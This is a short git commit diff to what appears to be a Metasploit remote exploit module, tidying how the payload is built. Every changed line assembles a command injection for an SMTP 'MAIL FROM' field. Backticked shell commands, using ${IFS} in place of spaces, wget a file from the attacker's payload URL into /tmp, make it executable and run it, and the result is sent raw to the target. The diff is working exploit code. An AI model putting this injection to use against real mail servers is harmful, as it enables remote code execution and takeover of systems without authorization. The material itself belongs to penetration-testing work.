make the payload build more clear

unstable
jvazquez-r7 2013-06-07 18:05:11 -05:00
parent d76e14fc9c
commit 9025b52951
1 changed files with 5 additions and 1 deletions

View File

@ -158,7 +158,11 @@ class Metasploit3 < Msf::Exploit::Remote
# Initiate the message # Initiate the message
# #
filename = rand_text_alpha_lower(8) filename = rand_text_alpha_lower(8)
from = "#{rand_text_alpha(3)}`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}``chmod${IFS}+x${IFS}/tmp/#{filename}``/tmp/#{filename}`@#{ehlo}" from = rand_text_alpha(3)
from << "`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}`"
from << "`chmod${IFS}+x${IFS}/tmp/#{filename}`"
from << "`/tmp/#{filename}`"
from << "@#{ehlo}"
to = datastore['MAILTO'] to = datastore['MAILTO']
resp = raw_send_recv("MAIL FROM: #{from}\r\n") resp = raw_send_recv("MAIL FROM: #{from}\r\n")